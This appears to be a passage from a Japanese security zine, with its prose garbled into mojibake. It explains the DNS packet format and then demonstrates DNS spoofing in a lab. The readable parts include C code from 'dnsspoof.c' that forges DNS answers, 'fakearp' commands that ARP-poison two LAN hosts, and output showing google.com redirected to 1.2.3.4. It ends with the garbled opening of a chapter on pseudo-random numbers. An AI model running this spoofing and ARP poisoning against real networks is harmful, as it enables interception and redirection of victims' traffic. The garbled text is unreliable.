ƒŠƒ]ƒ‹ƒo‚ÆDNSSEC‘ΉžÄ‹Aƒl[ƒ€ƒT[ƒo[‚ÌŠÔ‚ÅŽg—p‚³‚ê‚Ü‚·B ›4.2.2 uŽ¿–â”vu‰ñ“šRR”vuŒ ˆÐRR”vu’ljÁRR”v @uŽ¿–â”v‚Í’ÊíA1‚ƂȂè‚Ü‚·B‰ñ“šƒpƒPƒbƒg‚Å’l‚ªÝ’肳‚ê‚éu‰ñ“šRR”v uŒ ˆÐRR”vu’ljÁRR”v‚Í‚·‚ׂÄ0‚ƂȂè‚Ü‚·B ›4.2.3 Ž¿–âƒtƒB[ƒ‹ƒh @Ž¿–âƒtƒB[ƒ‹ƒh‚͉•ϒ·‚ÌuƉvA16ƒrƒbƒg‚ÌuƉïƒ^ƒCƒvv‚ÆuƉïƒN ƒ‰ƒXv‚©‚ç\¬‚³‚ê‚Ü‚·B ----- 0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Ɖi‰Â•Ï’·j | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Ɖïƒ^ƒCƒv | ƉïƒNƒ‰ƒX | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ ----- 4.2.4 uƉv @uƉv‚͉•ϒ·‚ɂȂÁ‚Ä‚¨‚èAgoogle.com‚ð—á‚É‚·‚邯ˆÈ‰º‚̂悤‚È\‘¢ ‚ƂȂè‚Ü‚·B ----- 0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |6|g|o|o|g|l|e|3|c|o|m|0| | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | | | ƒJƒEƒ“ƒg ƒJƒEƒ“ƒg ƒJƒEƒ“ƒg ----- @‚Í‚¶‚ß‚Ì1ƒoƒCƒg‚͈È~‚É‘±‚­ƒoƒCƒg”‚̃JƒEƒ“ƒg‚Å‚·B’l‚Íu6v‚Ȃ̂Å6ƒoƒC ƒg‚½‚Ç‚é‚Æugooglev‚ƂȂè‚Ü‚·B @ŽŸ‚̃JƒEƒ“ƒg‚Ì’l‚Íu3v‚ƂȂè‚Ü‚·B3ƒoƒCƒg‚½‚Ç‚é‚Æucomv‚Å‚·BŽŸ‚̃JƒE ƒ“ƒg‚Ì’l‚Íu0v‚ƂȂÁ‚Ä‚¢‚é‚Ì‚ÅA‚»‚êˆÈソ‚Ç‚é•K—v‚ª‚È‚¢‚±‚Æ‚ðŽ¦‚µ‚Ä‚¢‚Ü ‚·B‚±‚ê‚É‚æ‚èAuƉv‚ªgoogle.com‚Å‚ ‚邱‚Æ‚ª‚í‚©‚è‚Ü‚·B ›4.2.5 uƉïƒ^ƒCƒvv‚ÆuƉïƒNƒ‰ƒXv @uƉïƒ^ƒCƒvv‚ÍÆ‰ï“à—e‚ðŽ¦‚·‚à‚Ì‚ÅA‰ñ“šƒpƒPƒbƒg‚Ìꇂ͉ñ“š“à—e‚ðŽ¦ ‚·‰ñ“šƒ^ƒCƒv‚ƂȂè‚Ü‚·B @‚±‚ê‚ç‚̃^ƒCƒv‚͈ȉº‚̂悤‚È‚à‚Ì‚ª‚ ‚è‚Ü‚·B ----- ‘ã•\“I‚ȃ^ƒCƒvˆê—— +---------------------------------------------------+ | ƒ^ƒCƒv–¼ | ’l | ˆÓ–¡ | Ɖï | ‰ñ“š | |----------+-----+--------------------+------+------| | A | 1 | IPv4ƒAƒhƒŒƒX | › | › | | NS | 2 | ƒl[ƒ€ƒT[ƒo[ | › | › | | CNAME | 5 | ³‹K–¼ | › | › | | PTR | 12 | ƒ|ƒCƒ“ƒ^ƒŒƒR[ƒh | › | › | | HINFO | 13 | ƒzƒXƒgî•ñ | › | › | | MX | 15 | ƒ[ƒ‹ŒðŠ·ƒŒƒR[ƒh | › | › | | AAAA | 28 | IPv6ƒAƒhƒŒƒX | › | › | |----------+-----+--------------------+------+------| | AXFR | 252 | ƒ][ƒ““]‘——v‹ | › | ~ | | ANY | 255 | ‘SƒŒƒR[ƒh—v‹ | › | ~ | +---------------------------------------------------+ ----- @uƉïƒNƒ‰ƒXv‚Í’ÊíA1‚ƂȂè‚Ü‚·B œ4.3 DNS‰ñ“šƒpƒPƒbƒg ----- 0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ - | ޝ•ÊŽq | ƒtƒ‰ƒO | | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | | Ž¿–â” | ‰ñ“šRR” | | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |-- Ž¿–âE‰ñ“š‹¤’Ê | Œ ˆÐRR” | ’ljÁRR” | | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | | Ž¿–âRRi‰Â•Ï’·j | | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ = | ‰ñ“šRRi‰ñ“šRR”‚ɉž‚¶‚ĉ•ϒ·j | | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | | Œ ˆÐRRiŒ ˆÐRR”‚ɉž‚¶‚ĉ•ϒ·j | |-- ‰ñ“šŽž‚É•t‰Á +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | | ’ljÁî•ñRRi’ljÁRR”‚ɉž‚¶‚ĉ•ϒ·j | | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ - ----- @DNS‰ñ“šƒpƒPƒbƒg‚ÍAŽ¿–âƒpƒPƒbƒg‚Éu‰ñ“švuŒ ˆÐvu’ljÁî•ñv‚ð•t‰Á‚µ‚½ ‚à‚̂ƂȂè‚Ü‚·B ›4.3.1 uޝ•ÊŽqv‚Æuƒtƒ‰ƒOv @uޝ•ÊŽqv‚̓Nƒ‰ƒCƒAƒ“ƒg‚ªÝ’肵‚½‚à‚Ì‚ð•Ô‚µAƒNƒ‰ƒCƒAƒ“ƒg‚ª‚ǂ̎¿–â‚Ö ‚̉ñ“š‚Ȃ̂©Ž¯•ʂł«‚邿‚¤‚É‚µ‚Ü‚·B @uƒtƒ‰ƒOv‚ÍA[qrvƒrƒbƒg‚ð1‚É‚µ‚ĉñ“š‚Å‚ ‚邱‚Æ‚ð’Ê’m‚µ‚Ü‚·B ›4.3.2 uŽ¿–â”vu‰ñ“šRR”vuŒ ˆÐRR”vu’ljÁRR”v @uŽ¿–â”v‚É•ÏX‚Í‚ ‚è‚Ü‚¹‚ñBu‰ñ“šRR”v‚ÍÅ’á‚Å‚à1‚Å‚·B @uŒ ˆÐRR”vu’ljÁRR”v‚Í0‚à‚µ‚­‚Í”ñ0‚Å‚·B ›4.3.3 RRƒŒƒR[ƒh\‘¢ @u‰ñ“šRRvuŒ ˆÐRRvu’ljÁî•ñRRv‚Í‹¤’Ê‚ÌRRiƒŠƒ\[ƒXƒŒƒR[ƒhj\‘¢‚ð ‚à‚¿‚Ü‚·B ----- 0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | ƒhƒƒCƒ“–¼i‰Â•Ï’·j | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | ƒ^ƒCƒv | ƒNƒ‰ƒX | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | TTL | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | ƒf[ƒ^’· | | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | | ƒŠƒ\[ƒXƒf[ƒ^ | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ ----- EuƒhƒƒCƒ“–¼v‚Í4.2.4‚ʼnðà‚µ‚Ä‚¢‚éuƉv‚Æ“¯ˆê‚ÌŒ`Ž®‚Å‚·B Euƒ^ƒCƒvv‚ÆuƒNƒ‰ƒXv‚Í4.2.5‚ʼnðà‚µ‚Ä‚¢‚é“à—e‚Æ‚©‚í‚è‚Ü‚¹‚ñB EuTTLv‚̓Nƒ‰ƒCƒAƒ“ƒg‚ªRR‚ð•ÛŽ‚·‚鎞ŠÔ‚ð•b”‚Å‚ ‚ç‚킵‚Ü‚·B Euƒf[ƒ^’·v‚Íuƒ^ƒCƒvv‚É‚æ‚Á‚Ä‚©‚í‚è‚Ü‚·B‚½‚Æ‚¦‚ÎAƒ^ƒCƒvAiIPv4j‚È ‚ç‚ÎIPv4ƒAƒhƒŒƒX‚̃TƒCƒY‚Å‚ ‚é4‚ª“ü‚è‚Ü‚·B @ˆÈãAŠÈ’P‚Å‚·‚ªDNSƒpƒPƒbƒgƒtƒH[ƒ}ƒbƒg‚̉ðà‚Å‚µ‚½B @‚±‚ê‚ç‚Ìî•ñ‚ðŒ³‚ÉDNSƒXƒv[ƒtƒBƒ“ƒO‚ɂ‚¢‚Ẳðà‚É“ü‚è‚Ü‚·B œ4.4 DNSƒXƒv[ƒtƒBƒ“ƒO‚ÌŒŸØ @‚±‚ÌUŒ‚‚ÍAƒNƒ‰ƒCƒAƒ“ƒg‚Ì–â‚¢‡‚킹‚ɑ΂µ‚ÄDNSƒT[ƒo[‚©‚ç‘—M‚³‚ê‚Ä‚­ ‚é–¼‘O‰ðŒˆ‚ÌŒ‹‰Ê‚ð‘‚«Š·‚¦‚Ü‚·B—á‚Æ‚µ‚ÄAgoogle.com‚Ì–¼‘O‰ðŒˆ‚ÌŒ‹‰Ê‚ªu 1.2.3.4v‚Æ‚È‚é‚æ‚¤‚ÉDNSƒXƒv[ƒtƒBƒ“ƒO‚ð‚¨‚±‚È‚¢‚Ü‚·B @ƒXƒv[ƒtƒBƒ“ƒO‚ðŽÀs‚·‚é‚É‚ ‚½‚èAƒXƒv[ƒtƒBƒ“ƒO‚Ì‘ÎÛ‚Æ‚·‚éðŒ‚ðŒˆ‚ß ‚é•K—v‚ª‚ ‚è‚Ü‚·B¡‰ñ‚ÍAŽ¿–âRR‚ÌuƉv‚ªgoogle.com‚Ɉê’v‚µ‚½‚ç‰ñ“š RR‚ÌIPƒAƒhƒŒƒX‚ð1.2.3.4‚É‘‚«Š·‚¦‚é‚à‚̂Ƃµ‚Ü‚·B ›4.4.1 DNSƒXƒv[ƒtƒBƒ“ƒO‚Ì—¬‚ê @DNSƒXƒv[ƒtƒBƒ“ƒO‚Ì—¬‚ê‚͈ȉº‚̂悤‚ɂȂè‚Ü‚·B 1. DNSƒpƒPƒbƒg‚ªƒXƒv[ƒtƒBƒ“ƒO‘ÎÛ‚Å‚ ‚é‚©Šm”F 2. DNS‰ñ“šŒ‹‰Ê‚ð‰ü‚´‚ñ 3. ƒNƒ‰ƒCƒAƒ“ƒg‚Ö‰ü‚´‚ñ‚µ‚½DNS‰ñ“šŒ‹‰Ê‚ð‘—M 4.4.2 ‰ñ“šƒ^ƒCƒv‚ÌŠm”F @DNSƒT[ƒo[‚©‚ç‚̉ñ“š‚ªIPv4ƒAƒhƒŒƒX‚ð•Ô‚µ‚Ä‚¢‚邯‚ÍŒÀ‚è‚Ü‚¹‚ñiƉïƒ^ƒC ƒv‚ðŽv‚¢o‚µ‚Ä‚­‚¾‚³‚¢jB¡‰ñ‚ÍIPv4ƒAƒhƒŒƒX‚̉ü‚´‚ñ‚ð‚¨‚±‚È‚¤‚Ì‚ÅA‰ñ“š‚ª IPv4ƒAƒhƒŒƒX‚Å‚ ‚邱‚Æ‚ðŠm”F‚µ‚Ü‚·B4.2.5‚ʼnðà‚µ‚Ä‚¢‚邯‚¨‚èAIPv4ƒAƒhƒŒ ƒX‚Å‚ ‚ê‚΃^ƒCƒvA‚ƂȂè‚Ü‚·B‚±‚Ì’l‚Íarpa/nameser_compat.h‚Å’è‹`‚³‚ê‚Ä‚¢‚Ü‚·B ›4.4.3 Ɖ‚ÌŠm”F @uƉv‚Í’Pƒ‚Égoogle.com‚ƃwƒbƒ_[‚É‹L˜^‚³‚ê‚Ä‚¢‚é‚킯‚ł͂ ‚è‚Ü‚¹ ‚ñB4.2.4‚ʼnðà‚µ‚½‚悤‚ɃJƒEƒ“ƒg‚Ì’l‚ðŒ³‚ÉÆ‰ï–¼‚𒲂ׂ܂·Bgoogle.com‚È ‚ç‚ÎDNSƒwƒbƒ_[‚ɂ͈ȉº‚̂悤‚É‹L˜^‚³‚ê‚Ä‚¢‚é‚Í‚¸‚Å‚·B ----- 0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |6|g|o|o|g|l|e|3|c|o|m|0| | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | | | ƒJƒEƒ“ƒg ƒJƒEƒ“ƒg ƒJƒEƒ“ƒg ----- @DNSƒwƒbƒ_[‚©‚çÆ‰ï–¼‚𓾂邽‚ß‚ÉAƒTƒ“ƒvƒ‹ƒR[ƒh‚ł͈ȉº‚̂悤‚ÈŽÀ‘•‚𠂨‚±‚È‚¢‚Ü‚·B ----- dnsspoof.c static int get_qname(char *dst, char *name) { int i; char nbyte; char *p; char *dstp; dstp = dst; p = name; nbyte = *p++; while (nbyte) { for (i = 0; i < nbyte; i++) *dstp++ = *p++; nbyte = *p++; *dstp++ = '.'; } *--dstp = '\0'; return (p - name); } ----- ›4.4.4 ‰ñ“šRR”‚̉ü‚´‚ñ @•¡”‚̉ñ“šŒ‹‰Ê‚ª‚ ‚éê‡A‚·‚ׂẲñ“šŒ‹‰Ê‚ð‰ü‚´‚ñ‚·‚邱‚Ƃ͎èŠÔ‚ª‚©‚© ‚邽‚߂ЂƂ‚ɂ܂Ƃ߂܂·B‚¢‚­‚‰ñ“š‚ª‚ ‚é‚Ì‚©‚ÍAu‰ñ“šRR”v‚ł킩‚è‚Ü ‚·B¡‰ñ‚͉ñ“š‚ª‚¢‚­‚‚ ‚Á‚½‚Ì‚©‚Íl—¶‚µ‚Ä‚¢‚Ü‚¹‚ñBí‚É‚±‚Ì’l‚ðu1v‚É‘ ‚«Š·‚¦‚ăXƒv[ƒtƒBƒ“ƒO‚ðŽÀs‚µ‚Ü‚·B ›4.4.5 Œ ˆÐRR”‚ƒljÁRR”‚̉ü‚´‚ñ @‰ñ“šRR”‚ðu1v‚É‘‚«Š·‚¦AŒ ˆÐRR”‚ƒljÁRR”‚ðu0v‚É‘‚«Š·‚¦‚邱‚Æ‚É ‚æ‚èADNS‚̉ñ“šƒpƒPƒbƒg‚ðˆÈ‰º‚̂悤‚É’Pƒ‰»‚µ‚Ü‚·B ----- 0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | ޝ•ÊŽq | ƒtƒ‰ƒO | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Ž¿–â” | ‰ñ“šRR” | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Œ ˆÐRR” | ’ljÁRR” | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Ž¿–âi‰Â•Ï’·j | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | ‰ñ“š | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ ----- @ƒTƒ“ƒvƒ‹ƒR[ƒh‚ÌŽÀ‘•‚ł͈ȉº‚̂悤‚ÉŠeƒtƒB[ƒ‹ƒh‚É’l‚ðݒ肵‚Ü‚·B ----- dnsspoof.c /* DNSƒwƒbƒ_[ÄÝ’è */ dns->ancount = htons(1); dns->arcount = 0; dns->nscount = 0; ----- ›4.4.6 IPƒAƒhƒŒƒX‘‚«Š·‚¦ @‰ñ“šRR‚Ɋ܂܂ê‚éIPƒAƒhƒŒƒX‚ð‘‚«Š·‚¦‚邱‚Ƃɂæ‚èAƒXƒv[ƒtƒBƒ“ƒO‚Ì€”õ ‚Í®‚¢‚Ü‚·BŽ¿–âRR‚Ɖñ“šRR‚͉•ϒ·‚Å‚ ‚邽‚ßAIPƒAƒhƒŒƒX‚ð‘‚«ž‚Þƒƒ‚ƒŠ ƒAƒhƒŒƒX‚ð³Šm‚ÉŒvŽZ‚·‚é•K—v‚ª‚ ‚è‚Ü‚·B @ƒTƒ“ƒvƒ‹ƒR[ƒh‚ÌŽÀ‘•‚Å‚ÍAˆÈ‰º‚̂悤‚É‚µ‚ĉñ“šRR‚Ì‘‚«Š·‚¦‚Æ‘—M‚ðs‚¢ ‚Ü‚µ‚½B ----- dnsspoof.c 1 static int 2 send_dnsans(struct ip *ip, int spoof, HEADER *dns, QFOOTER *qf, int qnamelen) 3 { 4 struct sockaddr_in sin; 5 struct udphdr *udp; 6 char *ansptr; /* DNS‰ñ“š‘‚«ž‚݃|ƒCƒ“ƒ^ */ 7 char *addrptr; /* ƒAƒhƒŒƒX‘‚«ž‚݃|ƒCƒ“ƒ^ */ 8 int dnspacketsize = 0; 9 char dnscode[] = 10 "\xc0\x0c" /* ƒzƒXƒg–¼‚ւ̃IƒtƒZƒbƒg */ 11 "\x00\x01" /* Type A */ 12 "\x00\x01" /* Class IN */ 13 "\x00\x00\x07\x08" /* TTL */ 14 "\x00\x04"; /* Length */ 15 16 udp = (struct udphdr *)((char *)ip + (ip->ip_hl<<2)); 17 18 memset(&sin, 0, sizeof(struct sockaddr_in)); 19 sin.sin_family = AF_INET; 20 sin.sin_addr = ip->ip_dst; 21 sin.sin_port = udp->uh_dport; 22 23 /* ƒAƒhƒŒƒX‘‚«Š·‚¦ */ 24 if (spoof) { 25 dnspacketsize = sizeof(struct udphdr) + sizeof(HEADER) + 26 qnamelen + sizeof(QFOOTER) + sizeof(dnscode) + 4; 27 /* DNSƒwƒbƒ_[ÄÝ’è */ 28 dns->ancount = htons(1); 29 dns->arcount = 0; 30 dns->nscount = 0; 31 32 /* ‰ñ“š‚ւ̃|ƒCƒ“ƒ^ */ 33 ansptr = (char *)((char *)qf + sizeof(QFOOTER)); 34 /* ƒAƒhƒŒƒXƒtƒB[ƒ‹ƒh‚ւ̃|ƒCƒ“ƒ^ */ 35 addrptr = ansptr + sizeof(dnscode); 36 /* ‰ñ“š‘‚«Š·‚¦ */ 37 memcpy(addrptr - 1, &in_spoofip.s_addr, sizeof(in_spoofip.s_addr)); 38 39 /* UDPƒwƒbƒ_[ÄÝ’è */ 40 udp->uh_sum = 0; 41 udp->uh_ulen = htons(dnspacketsize); 42 43 ip->ip_len = BSDFIX((ip->ip_hl<<2) + dnspacketsize); 44 45 } 46 /* ip->ip_len ‚ðÄÝ’è */ 47 else { 48 ip->ip_len = BSDFIX(ntohs(ip->ip_len)); 49 } 50 51 if (spoof) 52 printf("Sending %d bytes ... ", BSDUFIX(ip->ip_len)); 53 54 return (sendto(sd, ip, BSDUFIX(ip->ip_len), 0, (struct sockaddr *)&sin, 55 sizeof(struct sockaddr_in))); 56 } ----- ›4.4.7 IPƒpƒPƒbƒg‚Ì“]‘— @ƒlƒbƒgƒ[ƒN‚𗬂ê‚Ä‚¢‚éƒpƒPƒbƒg‚ð‰ü‚´‚ñ‚·‚邽‚߂ɂÍA‚Ü‚¸‘ÎÛƒpƒPƒbƒg ‚Ì—¬‚ê‚é•ûŒü‚ð•Ï‚¦‚é•K—v‚ª‚ ‚è‚Ü‚·B‹ï‘Ì“I‚ɂ͑ÎۂƂȂéƒpƒPƒbƒg‚ªDNSƒXƒv [ƒtƒBƒ“ƒOƒvƒƒOƒ‰ƒ€‚ðŽÀs‚·‚éƒlƒbƒgƒ[ƒN‹@Ší‚ðŒo—R‚·‚邿‚¤‚ÉŽdŒü‚¯‚é•K —v‚ª‚ ‚è‚Ü‚·B @‚Í‚¶‚ß‚Éu3. “’®v‚ÅŽÀs‚µ‚½‚悤‚ÉARPƒXƒv[ƒtƒBƒ“ƒO‚ð—˜—p‚µ‚Ä’ÊM‚Ì—¬ ‚ê‚ð•Ï‚¦‚Ü‚·B‚ЂƂˆႤ‚Ì‚ÍAIPƒpƒPƒbƒg‚Ì“]‘—‚ðƒJ[ƒlƒ‹‚Å‚¨‚±‚È‚¤‚Ì‚Å‚Í ‚È‚­ƒ†[ƒU[ƒ‰ƒ“ƒh‚Å‚¨‚±‚È‚¢‚Ü‚·B‚±‚ê‚ÍAƒJ[ƒlƒ‹‚ÅŽÀs‚·‚邯ƒpƒPƒbƒg‚Ì ‰ü‚´‚ñ‚ð‚¨‚±‚È‚¤‘O‚ɃJ[ƒlƒ‹‚ªIPƒpƒPƒbƒg‚Ì“]‘—‚ð‚¨‚±‚È‚Á‚Ä‚µ‚Ü‚¤‚½‚߂ł·B @¡‰ñ‚ÍDNS‚݂̂ð‘ÎÛ‚Æ‚·‚邽‚ßAƒ|[ƒg”Ô†‚ª53”Ô‚Å‚ ‚éꇂÉDNSƒXƒv[ƒt ƒBƒ“ƒO‚ðŽÀs‚µ‚Ü‚·B @Úׂ̓Tƒ“ƒvƒ‹ƒR[ƒh‚ðŽQÆ‚µ‚Ä‚­‚¾‚³‚¢BFreeBSD‚Å“®ì‚ÌŠm”F‚ð‚¨‚±‚È‚Á‚Ä ‚¢‚Ü‚·B ›4.4.8 ARPƒXƒv[ƒtƒBƒ“ƒOŽÀs @u3.3 “’®‚ÌŽÀs—áv‚Å‚¨‚±‚È‚Á‚½‚悤‚ÉAHOST-A‚ÆHOST-B‚ɑ΂µ‚ÄARPƒXƒv[ ƒtƒBƒ“ƒO‚ð‚¨‚±‚È‚¢AHOST-C‚ðŒo—R‚·‚邿‚¤‚ÉŽdŒü‚¯‚Ü‚·B ----- HOST-C# ./fakearp -i em0 -sh 00:1f:d0:c0:24:da -sp 192.168.2.7 -dh 00:1b:d3:87:2a:59 192.168.2.5 Using interface em0 ARP request 192.168.2.7 00:1f:d0:c0:24:da > 192.168.2.5 00:1b:d3:87:2a:59 ARP request 192.168.2.7 00:1f:d0:c0:24:da > 192.168.2.5 00:1b:d3:87:2a:59 ARP request 192.168.2.7 00:1f:d0:c0:24:da > 192.168.2.5 00:1b:d3:87:2a:59 ƒÈ—ª„ HOST-C# ./fakearp -i em0 -sh 00:1f:d0:c0:24:da -sp 192.168.2.5 -dh 4c:e6:76:08:96:86 192.168.2.7 Using interface em0 ARP request 192.168.2.5 00:1f:d0:c0:24:da > 192.168.2.7 4c:e6:76:08:96:86 ARP request 192.168.2.5 00:1f:d0:c0:24:da > 192.168.2.7 4c:e6:76:08:96:86 ARP request 192.168.2.5 00:1f:d0:c0:24:da > 192.168.2.7 4c:e6:76:08:96:86 ƒÈ—ª„ ----- ›4.4.9 DNSƒXƒv[ƒtƒBƒ“ƒO“®ìŒŸØ @€”õ‚Í®‚¢‚Ü‚µ‚½BHOST-C‚ÅDNSƒXƒv[ƒtƒBƒ“ƒO‚ð‚¨‚±‚È‚¢AHOST-A‚ÌDNSƒŠƒ] ƒ‹ƒo‚ð‚¾‚Ü‚·‚±‚Æ‚ª‚Å‚«‚邱‚Æ‚ðŠm”F‚µ‚Ü‚·B @ƒvƒƒOƒ‰ƒ€‚ðŽÀsŒãAgoogle.com‚Ì–¼‘O‰ðŒˆ‚ɑ΂·‚é‰ñ“š‚ðŒŸ’m‚·‚邯‰ñ“š“à —e‚ð‰ü‚´‚ñ‚µ‚ăNƒ‰ƒCƒAƒ“ƒg‚Ö‘—M‚µ‚Ü‚·B ----- HOST-C# ./a.out google.com em0 1.2.3.4 Starting ./a.out interface em0 ether 00:1f:d0:c0:24:da snaplen 65535 bytes target host google.com spoof IP 1.2.3.4 ########## DNS Spoofing ########## id : 16875 type : 1 class : 1 entry : 2 query : google.com spoof : google.com dns qr: 1 qtype : 1 Sending 73 bytes ... 73 bytes sended ----- @ã‹L‚ÌHOST-C‚Ìo—ÍŒ‹‰Ê‚©‚çAgoogle.com‚Ì–¼‘O‰ðŒˆŒ‹‰Ê‚ð‘‚«Š·‚¦‚Ä‚¢‚邱 ‚Æ‚ª‚í‚©‚è‚Ü‚·B @‚±‚Ìo—ÍŒ‹‰Ê‚ÍAˆÈ‰º‚ÌHOST-A‚©‚çgoogle.com‚Öping‚ðŽÀs‚µ‚½Û‚Ì‚à‚̂ł·B ----- C:\Users\unya> ping google.com google.com [1.2.3.4]‚É ping ‚ð‘—M‚µ‚Ä‚¢‚Ü‚· 32 ƒoƒCƒg‚̃f[ƒ^: Ctrl+C ^C C:\Users\unya> ----- @ã‹L‚̂Ƃ¨‚èADNS‰ñ“šƒpƒPƒbƒg‚ª‰ü‚´‚ñ‚³‚ê‚Ä‚¢‚邱‚Æ‚ª‚í‚©‚è‚Ü‚·B ¡0x05.) ŽQl•¶Œ£ [1]uÚ‰ðTCP/IPqVol.1rƒvƒƒgƒRƒ‹vƒsƒAƒ\ƒ“ƒGƒfƒ…ƒP[ƒVƒ‡ƒ“ [2]uDOMAIN NAMES - IMPLEMENTATION AND SPECIFICATIONvRFC 1035 [3]uProtocol Modifications for the DNS Security Extensionsv RFC 4035 ¡0x06.) ƒTƒ“ƒvƒ‹ƒR[ƒh http://routehack.org/pub/throughme/ x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x --- ‘æ2Í: ’Q‚«‚Ì‹[Ž——” --- ’˜ŽÒFûü“c@•× x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x ¡0x01.)@‚Í‚¶‚ß‚É @l—Þ‚Í푈‚Ì‚½‚тɈÆ‹Zp‚ði•à‚³‚¹‚Ä—ˆ‚Ü‚µ‚½B @“G‚ð’m‚èŒÈ‚ð’m‚ê‚ΕSí•SŸ‚·A‚Å‚·B @‘æ“ñŽŸ‘å킳͒e“¹ŒvŽZ‚ƈƉð“Ç‚ªƒRƒ“ƒsƒ…[ƒ^‚ð‹‚ß‚½‚̂ł·B @ƒRƒ“ƒsƒ…[ƒ^‚ɂ‚¢‚Ă̓uƒ‰ƒbƒNƒ{ƒbƒNƒX‚Æ‚¢‚¤‚Ì‚©AŒ«–¾‚È–³’m‚ð‹­‚¢‚ç‚ê ‚é‚±‚Æ‚ª‘½‚­‚ÄŒh‰“‚ª–{‰¹‚È‚ñ‚Å‚·‚ªA‚»‚ê‚Å‚àŽ©ŒÈ–h‰q‚Ì‚½‚߂ɃZƒLƒ…ƒŠƒeƒB ‚ÌŠî–{‚Í’m‚Á‚Ä‚¨‚«‚½‚¢B @‚»‚±‚ňƂȂñ‚Å‚·‚¯‚Ç®”˜_‚Ⓦv‚¨‚Ü‚¯‚ɃGƒ“ƒgƒƒs[‚܂Ŕò‚Ño‚·‚Ì‚¾ ‚©‚çŽè‚É•‰‚¦‚È‚¢B @‚¾‚¯‚Ç’ŠÛ˜_‚Ƃ͈ႢA”Šw‚ªŒ»ŽÀŽÐ‰ï‚É‚±‚ꂾ‚¯‹ß•t‚¢‚½‚à‚̂͑¼‚ɂȂ¢B @¡AˆÃ†‹Zp‚Ì”­’B‚ÌŒ´“®—͂͂v‚d‚a‚ÆŒoÏŠˆ“®‚É‹’‚é‚à‚Ì‚ª‘å‚«‚¢B 